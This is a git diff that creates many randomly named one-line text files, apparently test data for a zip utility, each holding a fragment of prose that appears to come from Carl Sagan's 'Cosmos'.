index 0000000..980ae82
--- /dev/null
+++ b/big_zip/big-zip-files/lioabyvs.txt
@@ -0,0 +1 @@
+hopeless sense of a civilization destroyed for nothing; the knowledge that we could have
\ No newline at end of file
diff --git a/big_zip/big-zip-files/lmexkvjieicmhbjmaf.txt b/big_zip/big-zip-files/lmexkvjieicmhbjmaf.txt
new file mode 100644
index 0000000..5fd1798
--- /dev/null
+++ b/big_zip/big-zip-files/lmexkvjieicmhbjmaf.txt
@@ -0,0 +1 @@
+of the land; the first insect evolved, and its descendants became the pioneers in the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/lmkcegutdbgahloqyiej.txt b/big_zip/big-zip-files/lmkcegutdbgahloqyiej.txt
new file mode 100644
index 0000000..8612120
--- /dev/null
+++ b/big_zip/big-zip-files/lmkcegutdbgahloqyiej.txt
@@ -0,0 +1 @@
+Observatories in Earth orbit have found an intense X-ray glow between the galaxies. It was
\ No newline at end of file
diff --git a/big_zip/big-zip-files/lnratoibanshvoimywqgvbr.txt b/big_zip/big-zip-files/lnratoibanshvoimywqgvbr.txt
new file mode 100644
index 0000000..0e7626d
--- /dev/null
+++ b/big_zip/big-zip-files/lnratoibanshvoimywqgvbr.txt
@@ -0,0 +1 @@
+* Or other national organs. Consider this pronouncement from a British Defence Department
\ No newline at end of file
diff --git a/big_zip/big-zip-files/loylojqjmvtkoxetujlbp.txt b/big_zip/big-zip-files/loylojqjmvtkoxetujlbp.txt
new file mode 100644
index 0000000..6e6379b
--- /dev/null
+++ b/big_zip/big-zip-files/loylojqjmvtkoxetujlbp.txt
@@ -0,0 +1 @@
+and turbid solidified to become earth. It was very easy for the pure, fine material to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/loznrwjjvgaoxzethfony.txt b/big_zip/big-zip-files/loznrwjjvgaoxzethfony.txt
new file mode 100644
index 0000000..bb6dc1c
--- /dev/null
+++ b/big_zip/big-zip-files/loznrwjjvgaoxzethfony.txt
@@ -0,0 +1 @@
+magic.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/lpewtpkurdmcivfpw.txt b/big_zip/big-zip-files/lpewtpkurdmcivfpw.txt
new file mode 100644
index 0000000..a336b26
--- /dev/null
+++ b/big_zip/big-zip-files/lpewtpkurdmcivfpw.txt
@@ -0,0 +1 @@
+for the first time space became dark, as it is today.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/lpfcpqdncbbonzhytflqx.txt b/big_zip/big-zip-files/lpfcpqdncbbonzhytflqx.txt
new file mode 100644
index 0000000..aae8d7d
--- /dev/null
+++ b/big_zip/big-zip-files/lpfcpqdncbbonzhytflqx.txt
@@ -0,0 +1 @@
+in one moment of time is small.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/lrsxwxel.txt b/big_zip/big-zip-files/lrsxwxel.txt
new file mode 100644
index 0000000..21328f0
--- /dev/null
+++ b/big_zip/big-zip-files/lrsxwxel.txt
@@ -0,0 +1 @@
+than those great Men [of the past], but that I had the happiness to live after most of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/ltmvvgvcw.txt b/big_zip/big-zip-files/ltmvvgvcw.txt
new file mode 100644
index 0000000..9842ff3
--- /dev/null
+++ b/big_zip/big-zip-files/ltmvvgvcw.txt
@@ -0,0 +1 @@
+Plato and Aristotle were comfortable in a slave society. They offered justifications
\ No newline at end of file
diff --git a/big_zip/big-zip-files/lugfmhbugaurpyetqnnvibn.txt b/big_zip/big-zip-files/lugfmhbugaurpyetqnnvibn.txt
new file mode 100644
index 0000000..4710076
--- /dev/null
+++ b/big_zip/big-zip-files/lugfmhbugaurpyetqnnvibn.txt
@@ -0,0 +1 @@
+water in these moons, a hint, before we have ever seen the surfaces of the Galilean satellites
\ No newline at end of file
diff --git a/big_zip/big-zip-files/luvmwxfyjxcjn.txt b/big_zip/big-zip-files/luvmwxfyjxcjn.txt
new file mode 100644
index 0000000..e349b6c
--- /dev/null
+++ b/big_zip/big-zip-files/luvmwxfyjxcjn.txt
@@ -0,0 +1 @@
+the Worlds was published, a Bostonian named Percival Lowell founded a major
\ No newline at end of file
diff --git a/big_zip/big-zip-files/luzzwsphatdbxw.txt b/big_zip/big-zip-files/luzzwsphatdbxw.txt
new file mode 100644
index 0000000..04c9721
--- /dev/null
+++ b/big_zip/big-zip-files/luzzwsphatdbxw.txt
@@ -0,0 +1 @@
+‘What wilt thou give me for my food,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/lwhwbzyuf.txt b/big_zip/big-zip-files/lwhwbzyuf.txt
new file mode 100644
index 0000000..a1884b2
--- /dev/null
+++ b/big_zip/big-zip-files/lwhwbzyuf.txt
@@ -0,0 +1 @@
+look briefly like a Swiss cheese until the subterranean flow of rock and metal healed the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/lwkpjdkdhut.txt b/big_zip/big-zip-files/lwkpjdkdhut.txt
new file mode 100644
index 0000000..841edfd
--- /dev/null
+++ b/big_zip/big-zip-files/lwkpjdkdhut.txt
@@ -0,0 +1 @@
+Mars. We could wander down the ancient river valleys, up the slopes of one of the great
\ No newline at end of file
diff --git a/big_zip/big-zip-files/lwqqokpbncexepn.txt b/big_zip/big-zip-files/lwqqokpbncexepn.txt
new file mode 100644
index 0000000..f95a258
--- /dev/null
+++ b/big_zip/big-zip-files/lwqqokpbncexepn.txt
@@ -0,0 +1 @@
+patrimony - something like the original handwritten copies and first folios of Shakespeare
\ No newline at end of file
diff --git a/big_zip/big-zip-files/lxoueirqluunsisptz.txt b/big_zip/big-zip-files/lxoueirqluunsisptz.txt
new file mode 100644
index 0000000..4358743
--- /dev/null
+++ b/big_zip/big-zip-files/lxoueirqluunsisptz.txt
@@ -0,0 +1 @@
+were pouring out of the mouths of the volcanoes: black sulfur, the hottest, near the top of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/lynhdakni.txt b/big_zip/big-zip-files/lynhdakni.txt
new file mode 100644
index 0000000..c557227
--- /dev/null
+++ b/big_zip/big-zip-files/lynhdakni.txt
@@ -0,0 +1 @@
+inhabit some lost corner of one. We call them galaxies.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/lztpmeovkyegaumydnq.txt b/big_zip/big-zip-files/lztpmeovkyegaumydnq.txt
new file mode 100644
index 0000000..2e38b64
--- /dev/null
+++ b/big_zip/big-zip-files/lztpmeovkyegaumydnq.txt
@@ -0,0 +1 @@
+emission from Jupiter - but the most productive have been the two television cameras,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/mawkekrqhvvwlzswxsn.txt b/big_zip/big-zip-files/mawkekrqhvvwlzswxsn.txt
new file mode 100644
index 0000000..f0b08b1
--- /dev/null
+++ b/big_zip/big-zip-files/mawkekrqhvvwlzswxsn.txt
@@ -0,0 +1 @@
+wounds. It is just as well that large lumps of neutron star matter are unknown on Earth. But
\ No newline at end of file
diff --git a/big_zip/big-zip-files/mazytbifqdmpflxecqaul.txt b/big_zip/big-zip-files/mazytbifqdmpflxecqaul.txt
new file mode 100644
index 0000000..e538752
--- /dev/null
+++ b/big_zip/big-zip-files/mazytbifqdmpflxecqaul.txt
@@ -0,0 +1 @@
+the Sorcerer of Night, Unkempt, and the Black Sorcerer . . . They were endowed
\ No newline at end of file
diff --git a/big_zip/big-zip-files/mcjgpzyfqkjkgcqxunw.txt b/big_zip/big-zip-files/mcjgpzyfqkjkgcqxunw.txt
new file mode 100644
index 0000000..e879838
--- /dev/null
+++ b/big_zip/big-zip-files/mcjgpzyfqkjkgcqxunw.txt
@@ -0,0 +1 @@
+delirium, he repeated over and over again these words, like someone composing a poem:
\ No newline at end of file
diff --git a/big_zip/big-zip-files/mdaoqswueetfvavpzevzdw.txt b/big_zip/big-zip-files/mdaoqswueetfvavpzevzdw.txt
new file mode 100644
index 0000000..c0bcafb
--- /dev/null
+++ b/big_zip/big-zip-files/mdaoqswueetfvavpzevzdw.txt
@@ -0,0 +1 @@
+of motion, your mass increases, and time, as you experience it, slows down, a breathtaking
\ No newline at end of file
diff --git a/big_zip/big-zip-files/mdapxsgbre.txt b/big_zip/big-zip-files/mdapxsgbre.txt
new file mode 100644
index 0000000..76b0e89
--- /dev/null
+++ b/big_zip/big-zip-files/mdapxsgbre.txt
@@ -0,0 +1 @@
+have been none for 200 million years. The Earth used to be inhabited by plants and animals
\ No newline at end of file
diff --git a/big_zip/big-zip-files/mkpjzioedctmolj.txt b/big_zip/big-zip-files/mkpjzioedctmolj.txt
new file mode 100644
index 0000000..6a68667
--- /dev/null
+++ b/big_zip/big-zip-files/mkpjzioedctmolj.txt
@@ -0,0 +1 @@
+to an end in our understanding of the nature of matter, or is there an infinite regression into
\ No newline at end of file
diff --git a/big_zip/big-zip-files/mktyhgmedcj.txt b/big_zip/big-zip-files/mktyhgmedcj.txt
new file mode 100644
index 0000000..7f96b4e
--- /dev/null
+++ b/big_zip/big-zip-files/mktyhgmedcj.txt
@@ -0,0 +1 @@
+Mostly, the sky does not change. The same star pictures are there year after year.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/mkyhrzdcmsnwqdmpuqftz.txt b/big_zip/big-zip-files/mkyhrzdcmsnwqdmpuqftz.txt
new file mode 100644
index 0000000..873ccc8
--- /dev/null
+++ b/big_zip/big-zip-files/mkyhrzdcmsnwqdmpuqftz.txt
@@ -0,0 +1 @@
+group puts one hollow to use while another group constructs another hollow.’ Against the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/mlbsobewwehpoilqccqq.txt b/big_zip/big-zip-files/mlbsobewwehpoilqccqq.txt
new file mode 100644
index 0000000..873d7f9
--- /dev/null
+++ b/big_zip/big-zip-files/mlbsobewwehpoilqccqq.txt
@@ -0,0 +1 @@
+of mathematics and philosophy; and of John Locke, a political scientist who influenced a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/mlowsathkwra.txt b/big_zip/big-zip-files/mlowsathkwra.txt
new file mode 100644
index 0000000..15bb0ba
--- /dev/null
+++ b/big_zip/big-zip-files/mlowsathkwra.txt
@@ -0,0 +1 @@
+question. It is of more than passing concern.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/mnffkxcceikkzqfebh.txt b/big_zip/big-zip-files/mnffkxcceikkzqfebh.txt
new file mode 100644
index 0000000..1cd3ae6
--- /dev/null
+++ b/big_zip/big-zip-files/mnffkxcceikkzqfebh.txt
@@ -0,0 +1 @@
+sifted the sands of Mars, we have established a presence there, we have fulfilled a century
\ No newline at end of file
diff --git a/big_zip/big-zip-files/mnwbicbqadbbegu.txt b/big_zip/big-zip-files/mnwbicbqadbbegu.txt
new file mode 100644
index 0000000..d59fcd1
--- /dev/null
+++ b/big_zip/big-zip-files/mnwbicbqadbbegu.txt
@@ -0,0 +1 @@
+issue called the brachistochrone problem, specifying the curve connecting two points
\ No newline at end of file
diff --git a/big_zip/big-zip-files/mpurnvnohzhutjfmiu.txt b/big_zip/big-zip-files/mpurnvnohzhutjfmiu.txt
new file mode 100644
index 0000000..5626744
--- /dev/null
+++ b/big_zip/big-zip-files/mpurnvnohzhutjfmiu.txt
@@ -0,0 +1 @@
+resembled a samurai face survived preferentially until eventually there was produced not
\ No newline at end of file
diff --git a/big_zip/big-zip-files/msmolavdvnzt.txt b/big_zip/big-zip-files/msmolavdvnzt.txt
new file mode 100644
index 0000000..0b553c2
--- /dev/null
+++ b/big_zip/big-zip-files/msmolavdvnzt.txt
@@ -0,0 +1 @@
+the skin hides the flame. Except where there are holes.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/muejxoonumiwhmek.txt b/big_zip/big-zip-files/muejxoonumiwhmek.txt
new file mode 100644
index 0000000..5d8d949
--- /dev/null
+++ b/big_zip/big-zip-files/muejxoonumiwhmek.txt
@@ -0,0 +1 @@
+feet) per second, every second. This acceleration, which characterizes the force of gravity
\ No newline at end of file
diff --git a/big_zip/big-zip-files/musfdvthnijxnbspt.txt b/big_zip/big-zip-files/musfdvthnijxnbspt.txt
new file mode 100644
index 0000000..e0369ed
--- /dev/null
+++ b/big_zip/big-zip-files/musfdvthnijxnbspt.txt
@@ -0,0 +1 @@
+was using are unsound. Though I thought they were based on very certain and evident proofs, I
\ No newline at end of file
diff --git a/big_zip/big-zip-files/mutkumdxww.txt b/big_zip/big-zip-files/mutkumdxww.txt
new file mode 100644
index 0000000..a2ea0c3
--- /dev/null
+++ b/big_zip/big-zip-files/mutkumdxww.txt
@@ -0,0 +1 @@
+* Some sequoia trees are both larger and more massive than any whale.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/mwmyugpjpvhesgjd.txt b/big_zip/big-zip-files/mwmyugpjpvhesgjd.txt
new file mode 100644
index 0000000..8011e6a
--- /dev/null
+++ b/big_zip/big-zip-files/mwmyugpjpvhesgjd.txt
@@ -0,0 +1 @@
+becoming engaged despite the mutual electrical repulsion. The ash will become fuel, and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/mxnbugmfsuwdeo.txt b/big_zip/big-zip-files/mxnbugmfsuwdeo.txt
new file mode 100644
index 0000000..5ed918c
--- /dev/null
+++ b/big_zip/big-zip-files/mxnbugmfsuwdeo.txt
@@ -0,0 +1 @@
+Brahe’s opinion concerning that bare wilderness of globes that it does not exist fruitlessly but is filled withinhabitants.’
\ No newline at end of file
diff --git a/big_zip/big-zip-files/mxnenstayuxpupziqjlpfdo.txt b/big_zip/big-zip-files/mxnenstayuxpupziqjlpfdo.txt
new file mode 100644
index 0000000..76440fb
--- /dev/null
+++ b/big_zip/big-zip-files/mxnenstayuxpupziqjlpfdo.txt
@@ -0,0 +1 @@
+winking off like fireflies in the night.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/myjdwgkvo.txt b/big_zip/big-zip-files/myjdwgkvo.txt
new file mode 100644
index 0000000..aef9b0e
--- /dev/null
+++ b/big_zip/big-zip-files/myjdwgkvo.txt
@@ -0,0 +1 @@
+constellations must have been reassuring in the midst of an unexplored ocean. The stars are
\ No newline at end of file
diff --git a/big_zip/big-zip-files/myllpxocxggltjitnkyc.txt b/big_zip/big-zip-files/myllpxocxggltjitnkyc.txt
new file mode 100644
index 0000000..cbedf7e
--- /dev/null
+++ b/big_zip/big-zip-files/myllpxocxggltjitnkyc.txt
@@ -0,0 +1 @@
+exists, but atoms and the void.’
\ No newline at end of file
diff --git a/big_zip/big-zip-files/nabxbvqxwlptb.txt b/big_zip/big-zip-files/nabxbvqxwlptb.txt
new file mode 100644
index 0000000..89021f2
--- /dev/null
+++ b/big_zip/big-zip-files/nabxbvqxwlptb.txt
@@ -0,0 +1 @@
+removed the protective layer of ozone from the atmosphere, increasing the flux of solar
\ No newline at end of file
diff --git a/big_zip/big-zip-files/nbdrisadyqmbapbdapf.txt b/big_zip/big-zip-files/nbdrisadyqmbapbdapf.txt
new file mode 100644
index 0000000..b9e6b59
--- /dev/null
+++ b/big_zip/big-zip-files/nbdrisadyqmbapbdapf.txt
@@ -0,0 +1 @@
+In the direction of the star Deneb, in the constellation of Cygnus the Swan, is an
\ No newline at end of file
diff --git a/big_zip/big-zip-files/nbnmjtavrdtrkyyronbirqk.txt b/big_zip/big-zip-files/nbnmjtavrdtrkyyronbirqk.txt
new file mode 100644
index 0000000..072a1c8
--- /dev/null
+++ b/big_zip/big-zip-files/nbnmjtavrdtrkyyronbirqk.txt
@@ -0,0 +1 @@
+concluded, that an example of a major evolutionary change in a single generation, the very
\ No newline at end of file
diff --git a/big_zip/big-zip-files/ndahzeirpzyrjrrrlo.txt b/big_zip/big-zip-files/ndahzeirpzyrjrrrlo.txt
new file mode 100644
index 0000000..87ae829
--- /dev/null
+++ b/big_zip/big-zip-files/ndahzeirpzyrjrrrlo.txt
@@ -0,0 +1 @@
+something. But what?
\ No newline at end of file
diff --git a/big_zip/big-zip-files/ndrjliqu.txt b/big_zip/big-zip-files/ndrjliqu.txt
new file mode 100644
index 0000000..67508b0
--- /dev/null
+++ b/big_zip/big-zip-files/ndrjliqu.txt
@@ -0,0 +1 @@
+Human beings are good at understanding the world. We always have been. We were
\ No newline at end of file
diff --git a/big_zip/big-zip-files/negcjkqxc.txt b/big_zip/big-zip-files/negcjkqxc.txt
new file mode 100644
index 0000000..9fb7a77
--- /dev/null
+++ b/big_zip/big-zip-files/negcjkqxc.txt
@@ -0,0 +1 @@
+irrationality is that to succeed in the pretense you have to be very good. After a while, you
\ No newline at end of file
diff --git a/big_zip/big-zip-files/nerygxvybsmlxg.txt b/big_zip/big-zip-files/nerygxvybsmlxg.txt
new file mode 100644
index 0000000..00773c9
--- /dev/null
+++ b/big_zip/big-zip-files/nerygxvybsmlxg.txt
@@ -0,0 +1 @@
+to be discovered.* Nevertheless, most of the mass of an atom is in its nucleus; the electrons
\ No newline at end of file
diff --git a/big_zip/big-zip-files/nfahnxwtdgesfaog.txt b/big_zip/big-zip-files/nfahnxwtdgesfaog.txt
new file mode 100644
index 0000000..3b0691b
--- /dev/null
+++ b/big_zip/big-zip-files/nfahnxwtdgesfaog.txt
@@ -0,0 +1 @@
+one of those faint pinpoints of light is a world on which someone quite different from us is
\ No newline at end of file
diff --git a/big_zip/big-zip-files/nfdkjrqglezwylcglcrqhytf.txt b/big_zip/big-zip-files/nfdkjrqglezwylcglcrqhytf.txt
new file mode 100644
index 0000000..3ecbd61
--- /dev/null
+++ b/big_zip/big-zip-files/nfdkjrqglezwylcglcrqhytf.txt
@@ -0,0 +1 @@
+and boulders of the newly discovered rings of Jupiter. And wonderful images of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/nftmxkynxgcokemtmsrkvpj.txt b/big_zip/big-zip-files/nftmxkynxgcokemtmsrkvpj.txt
new file mode 100644
index 0000000..95b359f
--- /dev/null
+++ b/big_zip/big-zip-files/nftmxkynxgcokemtmsrkvpj.txt
@@ -0,0 +1 @@
+history, major wars of aggression were stopped partly because of the revulsion felt by the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/niltnyuyyoiybvwke.txt b/big_zip/big-zip-files/niltnyuyyoiybvwke.txt
new file mode 100644
index 0000000..d9fc83b
--- /dev/null
+++ b/big_zip/big-zip-files/niltnyuyyoiybvwke.txt
@@ -0,0 +1 @@
+before. We now call it ‘flame’. It has a special smell. In a way it is alive: It eats food. It eats
\ No newline at end of file
diff --git a/big_zip/big-zip-files/nlaglqpeemkyxtnadztngnys.txt b/big_zip/big-zip-files/nlaglqpeemkyxtnadztngnys.txt
new file mode 100644
index 0000000..16cbd64
--- /dev/null
+++ b/big_zip/big-zip-files/nlaglqpeemkyxtnadztngnys.txt
@@ -0,0 +1 @@
+Nembutsu [a prayer to the Amida Buddha]. The Lady Nii took him tightly in her
\ No newline at end of file
diff --git a/big_zip/big-zip-files/nminpgfxsvzoc.txt b/big_zip/big-zip-files/nminpgfxsvzoc.txt
new file mode 100644
index 0000000..114d15a
--- /dev/null
+++ b/big_zip/big-zip-files/nminpgfxsvzoc.txt
@@ -0,0 +1 @@
+have descended from a Devonian fish that had five phalanges or bones in its fins. Had we
\ No newline at end of file
diff --git a/big_zip/big-zip-files/nnjxmsexpcj.txt b/big_zip/big-zip-files/nnjxmsexpcj.txt
new file mode 100644
index 0000000..10b3830
--- /dev/null
+++ b/big_zip/big-zip-files/nnjxmsexpcj.txt
@@ -0,0 +1 @@
+The worm went before Shamash, weeping,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/nplrvqikgrndvtzwfv.txt b/big_zip/big-zip-files/nplrvqikgrndvtzwfv.txt
new file mode 100644
index 0000000..2ab36c8
--- /dev/null
+++ b/big_zip/big-zip-files/nplrvqikgrndvtzwfv.txt
@@ -0,0 +1 @@
+Cosmos to denote a well-ordered and harmonious universe, a world amenable to human
\ No newline at end of file
diff --git a/big_zip/big-zip-files/nqdokgbicrkkf.txt b/big_zip/big-zip-files/nqdokgbicrkkf.txt
new file mode 100644
index 0000000..a9d217a
--- /dev/null
+++ b/big_zip/big-zip-files/nqdokgbicrkkf.txt
@@ -0,0 +1 @@
+time before television, before motion pictures, before radio, before books. The greatest part
\ No newline at end of file
diff --git a/big_zip/big-zip-files/nrwufccyznzbmdjkwde.txt b/big_zip/big-zip-files/nrwufccyznzbmdjkwde.txt
new file mode 100644
index 0000000..a9f8703
--- /dev/null
+++ b/big_zip/big-zip-files/nrwufccyznzbmdjkwde.txt
@@ -0,0 +1 @@
+that which is near; let them see only a little of the face of the earth! . . . Are they not
\ No newline at end of file
diff --git a/big_zip/big-zip-files/nsisvfypckrydbal.txt b/big_zip/big-zip-files/nsisvfypckrydbal.txt
new file mode 100644
index 0000000..5f12830
--- /dev/null
+++ b/big_zip/big-zip-files/nsisvfypckrydbal.txt
@@ -0,0 +1 @@
+of light, And where is the place of darkness . . . ?
\ No newline at end of file
diff --git a/big_zip/big-zip-files/nudrvwvzlcipmebuqkscfznb.txt b/big_zip/big-zip-files/nudrvwvzlcipmebuqkscfznb.txt
new file mode 100644
index 0000000..9d87ba8
--- /dev/null
+++ b/big_zip/big-zip-files/nudrvwvzlcipmebuqkscfznb.txt
@@ -0,0 +1 @@
+the plants we combine the carbohydrates with oxygen dissolved in our blood because of our
\ No newline at end of file
diff --git a/big_zip/big-zip-files/nvccqmzzmznnmq.txt b/big_zip/big-zip-files/nvccqmzzmznnmq.txt
new file mode 100644
index 0000000..9fb5113
--- /dev/null
+++ b/big_zip/big-zip-files/nvccqmzzmznnmq.txt
@@ -0,0 +1 @@
+- Christiaan Huygens, New Conjectures Concerning the Planetary Worlds, Their
\ No newline at end of file
diff --git a/big_zip/big-zip-files/nvixklboaujqqdzhvlvm.txt b/big_zip/big-zip-files/nvixklboaujqqdzhvlvm.txt
new file mode 100644
index 0000000..caaaaad
--- /dev/null
+++ b/big_zip/big-zip-files/nvixklboaujqqdzhvlvm.txt
@@ -0,0 +1 @@
+morning, our hotel was the subject of practice strafing runs by the Egyptian Air Force. In
\ No newline at end of file
diff --git a/big_zip/big-zip-files/nvppzzhdqjlffsqqyx.txt b/big_zip/big-zip-files/nvppzzhdqjlffsqqyx.txt
new file mode 100644
index 0000000..6b376a7
--- /dev/null
+++ b/big_zip/big-zip-files/nvppzzhdqjlffsqqyx.txt
@@ -0,0 +1 @@
+the coast of Kenya and named Uhuru, the Swahili word for ‘freedom’. In 1971, Uhuru
\ No newline at end of file
diff --git a/big_zip/big-zip-files/nvsghmstomql.txt b/big_zip/big-zip-files/nvsghmstomql.txt
new file mode 100644
index 0000000..c604e0c
--- /dev/null
+++ b/big_zip/big-zip-files/nvsghmstomql.txt
@@ -0,0 +1 @@
+in carbon dioxide, with ultraviolet light shining fiercely down on the surface through an
\ No newline at end of file
diff --git a/big_zip/big-zip-files/nwfwmqyzujbofaqrlcgkau.txt b/big_zip/big-zip-files/nwfwmqyzujbofaqrlcgkau.txt
new file mode 100644
index 0000000..057c611
--- /dev/null
+++ b/big_zip/big-zip-files/nwfwmqyzujbofaqrlcgkau.txt
@@ -0,0 +1 @@
+clearly their thirst for gold was insatiable; they starved for it; they lusted for it; they
\ No newline at end of file
diff --git a/big_zip/big-zip-files/nwnxoxtlidzwcwcuubju.txt b/big_zip/big-zip-files/nwnxoxtlidzwcwcuubju.txt
new file mode 100644
index 0000000..a2405b7
--- /dev/null
+++ b/big_zip/big-zip-files/nwnxoxtlidzwcwcuubju.txt
@@ -0,0 +1 @@
+calculus of variations, used it to solve the brachistochrone problem and sent off the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/nxtyfwwnnifcisepihw.txt b/big_zip/big-zip-files/nxtyfwwnnifcisepihw.txt
new file mode 100644
index 0000000..75ba53f
--- /dev/null
+++ b/big_zip/big-zip-files/nxtyfwwnnifcisepihw.txt
@@ -0,0 +1 @@
+world of galaxies there are places where something has gone ominously wrong; and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/oafxnlzsdeph.txt b/big_zip/big-zip-files/oafxnlzsdeph.txt
new file mode 100644
index 0000000..c351d98
--- /dev/null
+++ b/big_zip/big-zip-files/oafxnlzsdeph.txt
@@ -0,0 +1 @@
+great comet had been seen in Mexico. Moctezuma, captured by the legend of the return of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/oanhzoiauztbij.txt b/big_zip/big-zip-files/oanhzoiauztbij.txt
new file mode 100644
index 0000000..9e8e7f9
--- /dev/null
+++ b/big_zip/big-zip-files/oanhzoiauztbij.txt
@@ -0,0 +1 @@
+Calame and Mulholland. When an object impacts the Moon at high speed, it sets the Moonslightly wobbling. Eventually the vibrations die down but not in so short a period as eight
\ No newline at end of file
diff --git a/big_zip/big-zip-files/obkldvnhir.txt b/big_zip/big-zip-files/obkldvnhir.txt
new file mode 100644
index 0000000..53e23f6
--- /dev/null
+++ b/big_zip/big-zip-files/obkldvnhir.txt
@@ -0,0 +1 @@
+is possible to predict radio bursts from Jupiter with better reliability than weather forecasts
\ No newline at end of file
diff --git a/big_zip/big-zip-files/ocdgtzdftcaenemwv.txt b/big_zip/big-zip-files/ocdgtzdftcaenemwv.txt
new file mode 100644
index 0000000..2d33fe2
--- /dev/null
+++ b/big_zip/big-zip-files/ocdgtzdftcaenemwv.txt
@@ -0,0 +1 @@
+* The largest are 3 kilometers across at the base, and 1 kilometer high - much larger than the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/ocftbzwpjvjunentuho.txt b/big_zip/big-zip-files/ocftbzwpjvjunentuho.txt
new file mode 100644
index 0000000..dec304f
--- /dev/null
+++ b/big_zip/big-zip-files/ocftbzwpjvjunentuho.txt
@@ -0,0 +1 @@
+The information content of the human brain expressed in bits is probably
\ No newline at end of file
diff --git a/big_zip/big-zip-files/oepziofjzvxzf.txt b/big_zip/big-zip-files/oepziofjzvxzf.txt
new file mode 100644
index 0000000..6846e33
--- /dev/null
+++ b/big_zip/big-zip-files/oepziofjzvxzf.txt
@@ -0,0 +1 @@
+accessible to the human species, but only after great effort.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/ogfjjioyc.txt b/big_zip/big-zip-files/ogfjjioyc.txt
new file mode 100644
index 0000000..30c31bd
--- /dev/null
+++ b/big_zip/big-zip-files/ogfjjioyc.txt
@@ -0,0 +1 @@
+Utopia, at the same latitude as Cydonia, was chosen.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/ogmkhuwrbzaoxhgt.txt b/big_zip/big-zip-files/ogmkhuwrbzaoxhgt.txt
new file mode 100644
index 0000000..b5bc6fe
--- /dev/null
+++ b/big_zip/big-zip-files/ogmkhuwrbzaoxhgt.txt
@@ -0,0 +1 @@
+a planet and an epoch with AnnieCarl Sagan was the Director of the Laboratory for Planetary studies and David Duncan
\ No newline at end of file
diff --git a/big_zip/big-zip-files/ohbrugkrqdzrc.txt b/big_zip/big-zip-files/ohbrugkrqdzrc.txt
new file mode 100644
index 0000000..93f26cd
--- /dev/null
+++ b/big_zip/big-zip-files/ohbrugkrqdzrc.txt
@@ -0,0 +1 @@
+newborns: He proposed the spontaneous origin of life in mud, the first animals being fish
\ No newline at end of file
diff --git a/big_zip/big-zip-files/ohnfmgfslnyniqkfelxywvqv.txt b/big_zip/big-zip-files/ohnfmgfslnyniqkfelxywvqv.txt
new file mode 100644
index 0000000..9d8853f
--- /dev/null
+++ b/big_zip/big-zip-files/ohnfmgfslnyniqkfelxywvqv.txt
@@ -0,0 +1 @@
+round and enlightn’d by the Sun, like the rest of them, cannot but sometimes have a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/oiquvgpgsietbcn.txt b/big_zip/big-zip-files/oiquvgpgsietbcn.txt
new file mode 100644
index 0000000..0ab2647
--- /dev/null
+++ b/big_zip/big-zip-files/oiquvgpgsietbcn.txt
@@ -0,0 +1 @@
+interdependent that it is enough to discover that one of them is false to know that all the arguments I
\ No newline at end of file
diff --git a/big_zip/big-zip-files/okyinrlby.txt b/big_zip/big-zip-files/okyinrlby.txt
new file mode 100644
index 0000000..7229363
--- /dev/null
+++ b/big_zip/big-zip-files/okyinrlby.txt
@@ -0,0 +1 @@
+the computer program makes them stick. The process continues until all the gas and dust
\ No newline at end of file
diff --git a/big_zip/big-zip-files/oliiqtgwyapghbbqrejdsy.txt b/big_zip/big-zip-files/oliiqtgwyapghbbqrejdsy.txt
new file mode 100644
index 0000000..26c2e78
--- /dev/null
+++ b/big_zip/big-zip-files/oliiqtgwyapghbbqrejdsy.txt
@@ -0,0 +1 @@
+of the conic sections* - ellipse, parabola and hyperbola - the curves, as we now know,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/olukbfmlzimwdy.txt b/big_zip/big-zip-files/olukbfmlzimwdy.txt
new file mode 100644
index 0000000..375d104
--- /dev/null
+++ b/big_zip/big-zip-files/olukbfmlzimwdy.txt
@@ -0,0 +1 @@
+afraid. 1 don’t want to fall up through a hole and into the flame of power.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/opkxmpzjvfv.txt b/big_zip/big-zip-files/opkxmpzjvfv.txt
new file mode 100644
index 0000000..77f0d31
--- /dev/null
+++ b/big_zip/big-zip-files/opkxmpzjvfv.txt
@@ -0,0 +1 @@
+through many oscillations, many possible laws of gravity would have been so weak that, for any given initial
\ No newline at end of file
diff --git a/big_zip/big-zip-files/oqojqevzmm.txt b/big_zip/big-zip-files/oqojqevzmm.txt
new file mode 100644
index 0000000..6b47b50
--- /dev/null
+++ b/big_zip/big-zip-files/oqojqevzmm.txt
@@ -0,0 +1 @@
+SS433, and Circinus X-2 are also candidate black holes. Cassiopeia A is the remnant of a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/ordiqeyhqhterhpgr.txt b/big_zip/big-zip-files/ordiqeyhqhterhpgr.txt
new file mode 100644
index 0000000..4bbb332
--- /dev/null
+++ b/big_zip/big-zip-files/ordiqeyhqhterhpgr.txt
@@ -0,0 +1 @@
+* The dates on Mayan inscriptions also range deep into the past and occasionally far into the future.
\ No newline at end of file
